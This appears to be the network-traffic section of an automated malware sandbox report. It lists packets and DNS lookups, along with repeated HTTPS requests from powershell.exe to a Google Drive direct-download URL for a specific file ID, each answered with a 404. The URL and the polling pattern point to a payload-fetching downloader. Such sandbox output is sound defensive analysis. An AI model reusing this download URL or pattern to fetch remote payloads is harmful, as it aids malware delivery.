Oct 1, 2024 07:47:15.691019058 CEST	49762	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:15.691035032 CEST	443	49762	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:16.068867922 CEST	443	49762	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:16.069704056 CEST	443	49762	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:16.069766045 CEST	49762	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:16.077105045 CEST	49762	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:16.086492062 CEST	49763	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:47:16.086534977 CEST	443	49763	142.250.184.193	192.168.2.4
Oct 1, 2024 07:47:16.086597919 CEST	49763	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:47:16.086987019 CEST	49763	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:47:16.086997032 CEST	443	49763	142.250.184.193	192.168.2.4
Oct 1, 2024 07:47:16.090229034 CEST	49763	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:47:16.131398916 CEST	443	49763	142.250.184.193	192.168.2.4
Oct 1, 2024 07:47:16.774764061 CEST	443	49763	142.250.184.193	192.168.2.4
Oct 1, 2024 07:47:16.774861097 CEST	49763	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:47:16.774861097 CEST	49763	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:47:20.142673969 CEST	49764	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:20.142738104 CEST	443	49764	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:20.142811060 CEST	49764	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:20.143132925 CEST	49764	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:20.143150091 CEST	443	49764	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:21.030819893 CEST	443	49764	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:21.032105923 CEST	49764	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:21.032149076 CEST	443	49764	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:21.417536020 CEST	443	49764	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:21.417658091 CEST	443	49764	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:21.417745113 CEST	49764	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:21.418107033 CEST	49764	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:25.439142942 CEST	49765	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:25.439196110 CEST	443	49765	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:25.439259052 CEST	49765	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:25.439639091 CEST	49765	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:25.439656973 CEST	443	49765	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:26.091983080 CEST	443	49765	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:26.094033003 CEST	49765	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:26.094044924 CEST	443	49765	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:26.486068964 CEST	443	49765	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:26.486660004 CEST	443	49765	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:26.486967087 CEST	49765	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:26.489865065 CEST	49765	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:30.485893011 CEST	49766	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:30.485940933 CEST	443	49766	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:30.490113974 CEST	49766	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:30.490113974 CEST	49766	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:30.490154028 CEST	443	49766	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:32.320647001 CEST	443	49766	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:32.322037935 CEST	49766	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:32.322055101 CEST	443	49766	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:32.942430019 CEST	443	49766	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:32.943361044 CEST	443	49766	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:32.943798065 CEST	49766	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:32.944746971 CEST	49766	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:36.953794956 CEST	49767	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:36.953851938 CEST	443	49767	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:36.953963041 CEST	49767	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:36.954364061 CEST	49767	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:36.954377890 CEST	443	49767	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:37.583050013 CEST	443	49767	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:37.584673882 CEST	49767	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:37.584713936 CEST	443	49767	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:37.992053032 CEST	443	49767	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:37.992120028 CEST	443	49767	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:37.992197990 CEST	49767	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:37.992556095 CEST	49767	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:42.004373074 CEST	49768	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:42.004420996 CEST	443	49768	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:42.004478931 CEST	49768	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:42.004802942 CEST	49768	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:42.004812956 CEST	443	49768	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:42.634550095 CEST	443	49768	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:42.638525963 CEST	49768	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:42.638552904 CEST	443	49768	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:43.026295900 CEST	443	49768	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:43.027512074 CEST	443	49768	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:43.029000044 CEST	49768	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:43.029618025 CEST	49768	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:43.033293009 CEST	49769	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:47:43.033343077 CEST	443	49769	142.250.184.193	192.168.2.4
Oct 1, 2024 07:47:43.033970118 CEST	49769	443	192.168.2.4	142.250.184.193

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 07:45:39.922274113 CEST	53384	53	192.168.2.4	1.1.1.1
Oct 1, 2024 07:45:39.928955078 CEST	53	53384	1.1.1.1	192.168.2.4
Oct 1, 2024 07:45:41.171855927 CEST	62471	53	192.168.2.4	1.1.1.1
Oct 1, 2024 07:45:41.179214954 CEST	53	62471	1.1.1.1	192.168.2.4
Oct 1, 2024 07:45:52.956139088 CEST	62126	53	192.168.2.4	1.1.1.1
Oct 1, 2024 07:45:52.963403940 CEST	53	62126	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 1, 2024 07:45:39.922274113 CEST	192.168.2.4	1.1.1.1	0xaee3	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 07:45:41.171855927 CEST	192.168.2.4	1.1.1.1	0x37ad	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 07:45:52.956139088 CEST	192.168.2.4	1.1.1.1	0x718d	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 1, 2024 07:45:39.928955078 CEST	1.1.1.1	192.168.2.4	0xaee3	No error (0)	drive.google.com	142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 1, 2024 07:45:41.179214954 CEST	1.1.1.1	192.168.2.4	0x37ad	No error (0)	drive.usercontent.google.com	142.250.184.193	A (IP address)	IN (0x0001)	false
Oct 1, 2024 07:45:52.963403940 CEST	1.1.1.1	192.168.2.4	0x718d	No error (0)	drive.google.com	142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 1, 2024 07:45:55.204531908 CEST	1.1.1.1	192.168.2.4	0x6374	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 1, 2024 07:45:55.204531908 CEST	1.1.1.1	192.168.2.4	0x6374	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	142.250.184.238	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:45:40 UTC	215	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:45:41 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:45:41 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-0Bo8L6Bu6WXiEna8yF7JfA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	142.250.184.193	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:45:41 UTC	233	OUT	GET /download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-01 05:45:42 UTC	1914	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:45:42 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-q8oJJG7lrmgUDLiilGDf0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AD-8ljt1RjSv6hgWhcRactfyOsekMzQoC07JjKpaABR2hR8xVe1RT2GaqfvZpggRr918ay4YGoq842yUKA Server: UploadServer Set-Cookie: NID=517=TYYrH7PW08eA_e5U2OuC4zmekvTUxL9y9Z0hSYlicR1c__kVJQs5xULdovxIj3IMXPMi_rdS8LNeC_fCziXbKGAjzcMEW4yG8zarYR9db8593BfYRuwpe5m1rfnmNFR8-YVfvaeNQ2W03vkoB6kiM4lLNwH7YtVvhCXyrPd0UQxAzsyZ3d0; expires=Wed, 02-Apr-2025 05:45:42 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-10-01 05:45:42 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 6f 79 45 79 5f 56 62 59 4d 75 57 53 6a 52 4d 5f 45 48 45 5f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZoyEy_VbYMuWSjRM_EHE_A">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	142.250.184.238	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:45:47 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:45:47 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:45:47 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-C4iCy1tiJMhhz6Blmce_XA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	142.250.184.193	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:45:48 UTC	139	OUT	GET /download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-01 05:45:48 UTC	1599	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:45:48 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-_i0DtfREUVVlSIbKtp4JLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AD-8ljtljf0Ewfhqytx9iVo7nmtP2yYDqdRfk7K-KlU9Y2zyHbcMNuBPlWiupVMk9e0Ipjdkp8Lla0uERA Server: UploadServer Set-Cookie: NID=517=ayNybyF5N2eBPQYwkElV42dGDAo7dQDQxiFHFSICxvzYeUHQ8Auvb772g32F6tMuhU37CAI3kwDYH70R6YO3RPT0tciihaowI_fgJk0hB8bBGjogaqzZOxwWUoixwbKaXp4mZtGQuSZMsktz1QUq2laaEbkFMssVx1YBcZsGm_RpJq13Zw; expires=Wed, 02-Apr-2025 05:45:48 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-10-01 05:45:48 UTC	1599	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 65 4a 34 72 71 58 6d 54 4e 77 36 67 58 6c 56 59 6d 59 47 68 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="AeJ4rqXmTNw6gXlVYmYGhA">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-10-01 05:45:48 UTC	53	IN	Data Raw: 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:45:53 UTC	97	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com
2024-10-01 05:45:54 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:45:53 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-aUZkpgS42Yx6qjCXjCohyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:45:58 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:45:59 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:45:59 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-lMgX3qgHlDodSvq8gGixvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:03 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:46:04 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:04 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kLft7XF-v7NSQK5aO0uDpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:46:08 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:46:09 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:46:09 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-C91xlqaOQ0jenHtaNST4aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
